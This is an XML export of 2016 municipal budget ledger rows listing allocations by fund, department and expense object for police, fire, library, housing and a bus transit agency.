<row _id="18473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6480</total></row>
<row _id="18474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>746</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>746</total></row>
<row _id="18475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>53</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53</total></row>
<row _id="18476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLATES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2225</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2225</total></row>
<row _id="18477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1311614</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1311614</total></row>
<row _id="18478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>82022</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>82022</total></row>
<row _id="18479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11790</total></row>
<row _id="18480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31800</total></row>
<row _id="18481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>65187</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>65187</total></row>
<row _id="18483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19158</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19158</total></row>
<row _id="18484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>313237</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>313237</total></row>
<row _id="18485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566500.0</object><object_description>RECRUITING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18093</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18093</total></row>
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<row _id="18491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>95280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95280</total></row>
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<row _id="18493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3938</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3938</total></row>
<row _id="18494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11108</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11108</total></row>
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<row _id="18496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17560</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17560</total></row>
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<row _id="18502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14867</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14867</total></row>
<row _id="18503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5322</total></row>
<row _id="18504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5343</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5343</total></row>
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<row _id="18508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>637</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>637</total></row>
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<row _id="18512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>721675</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>721675</total></row>
<row _id="18513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3291</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3291</total></row>
<row _id="18515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11942</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11942</total></row>
<row _id="18516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>661</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>661</total></row>
<row _id="18517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3051</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3051</total></row>
<row _id="18518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>29510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29510</total></row>
<row _id="18519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>49982</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>49982</total></row>
<row _id="18520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>27658</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27658</total></row>
<row _id="18521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>43171</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>43171</total></row>
<row _id="18522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9793</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9793</total></row>
<row _id="18523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544020.0</object><object_description>AMMO / SHOOTING SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37881</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37881</total></row>
<row _id="18524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2842365</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2842365</total></row>
<row _id="18525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>283871</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>283871</total></row>
<row _id="18526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3895</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3895</total></row>
<row _id="18527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1045</total></row>
<row _id="18528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>285</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>285</total></row>
<row _id="18529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12000</total></row>
<row _id="18530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2348395</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2348395</total></row>
<row _id="18531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>42339</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>42339</total></row>
<row _id="18532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9228</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9228</total></row>
<row _id="18533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2205</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2205</total></row>
<row _id="18534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522042.0</object><object_description>RECOVERIES OF PHYSICAL DAMAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522044.0</object><object_description>PREMIUMS FOR PL &amp; PD-SRV REV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10404</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10404</total></row>
<row _id="18536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522912.0</object><object_description>OIL FOR REVENUE EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>156825</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>156825</total></row>
<row _id="18537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="18538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7269</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7269</total></row>
<row _id="18539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>80000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80000</total></row>
<row _id="18540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544220.0</object><object_description>REPAIR PARTS AND MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1327079</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1327079</total></row>
